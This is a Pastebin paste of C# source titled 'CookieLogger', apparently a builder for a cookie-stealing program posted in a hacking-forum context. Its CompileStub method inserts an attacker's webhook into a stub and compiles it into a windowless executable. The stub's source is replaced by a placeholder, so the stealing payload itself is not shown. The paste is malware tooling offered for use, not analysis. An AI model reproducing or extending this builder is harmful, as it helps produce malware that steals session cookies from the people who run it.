Advertisement
RainYT

CookieLogger

Feb 20th, 2018
164
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 2.72 KB | None | 0 0
  1. // Hello v3rmillion skid i see that u found this now go ahead and post this in the lounge
  2.  
  3. using System;
  4. using System.CodeDom.Compiler;
  5. using System.Collections.Generic;
  6. using System.ComponentModel;
  7. using System.Diagnostics;
  8. using System.Drawing;
  9. using System.IO;
  10. using System.Linq;
  11. using System.Net;
  12. using System.Runtime.InteropServices;
  13. using System.Security.Cryptography;
  14. using Microsoft.CSharp;
  15. using Microsoft.CSharp.RuntimeBinder;
  16. using Microsoft.Win32.SafeHandles;
  17. using Microsoft.VisualBasic;
  18. using CookieAPI.Properties;
  19. namespace CookieAPI
  20. {
  21.     public class Class1
  22.     {
  23.         [DllImport("wininet.dll", CharSet = CharSet.Ansi, EntryPoint = "InternetSetCookieA", ExactSpelling = true, SetLastError = true)]
  24.         public static extern bool InternetSetCookie([MarshalAs(UnmanagedType.VBByRefStr)] ref string Url, [MarshalAs(UnmanagedType.VBByRefStr)] ref string CookieName, [MarshalAs(UnmanagedType.VBByRefStr)] ref string CookieData);
  25.  
  26.         public void CompileStub(string WebHook, string StubName)
  27.         {
  28.             string text = this.uncompiled;
  29.             text = text.Replace("CustomHook", WebHook);
  30.             bool flag4 = File.Exists(StubName + ".exe");
  31.             if (flag4)
  32.             {
  33.                 File.Delete(StubName + ".exe");
  34.             }
  35.             this.CompileCSharpEXE(text, StubName + ".exe");
  36.         }
  37.  
  38.         public bool CompileCSharpEXE(string src, string filepath)
  39.         {
  40.             CSharpCodeProvider csharpCodeProvider = new CSharpCodeProvider(new Dictionary<string, string>
  41.             {
  42.                 {
  43.                     "CompilerVersion",
  44.                     "v4.0"
  45.                 }
  46.             });
  47.             CompilerParameters compilerParameters = new CompilerParameters();
  48.             string[] value = new string[]
  49.             {
  50.                 "Microsoft.VisualBasic.dll",
  51.                 "System.dll",
  52.                 "System.Core.dll",
  53.                 "System.Data.dll",
  54.                 "System.Data.DataSetExtensions.dll",
  55.                 "System.Management.dll",
  56.                 "System.Windows.Forms.dll",
  57.                 "System.Xml.dll",
  58.                 "System.Xml.Linq.dll",
  59.                 "System.Net.dll"
  60.             };
  61.             compilerParameters.ReferencedAssemblies.AddRange(value);
  62.             compilerParameters.GenerateExecutable = true;
  63.             compilerParameters.OutputAssembly = filepath;
  64.             compilerParameters.CompilerOptions = "/optimize /target:winexe";
  65.             CompilerResults compilerResults = csharpCodeProvider.CompileAssemblyFromSource(compilerParameters, new string[]
  66.             {
  67.                 src
  68.             });
  69.             bool flag = compilerResults.Errors.Cast<CompilerError>().Any<CompilerError>();
  70.             bool result;
  71.             if (flag)
  72.             {
  73.                 foreach (object obj in compilerResults.Errors)
  74.                 {
  75.                     Console.WriteLine(((CompilerError)obj).ErrorText);
  76.                 }
  77.                 result = false;
  78.             }
  79.             else
  80.             {
  81.                 result = true;
  82.             }
  83.             return result;
  84.         }
  85.  
  86.         private string uncompiled = "CompilerSnipped";
  87.     }
  88. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement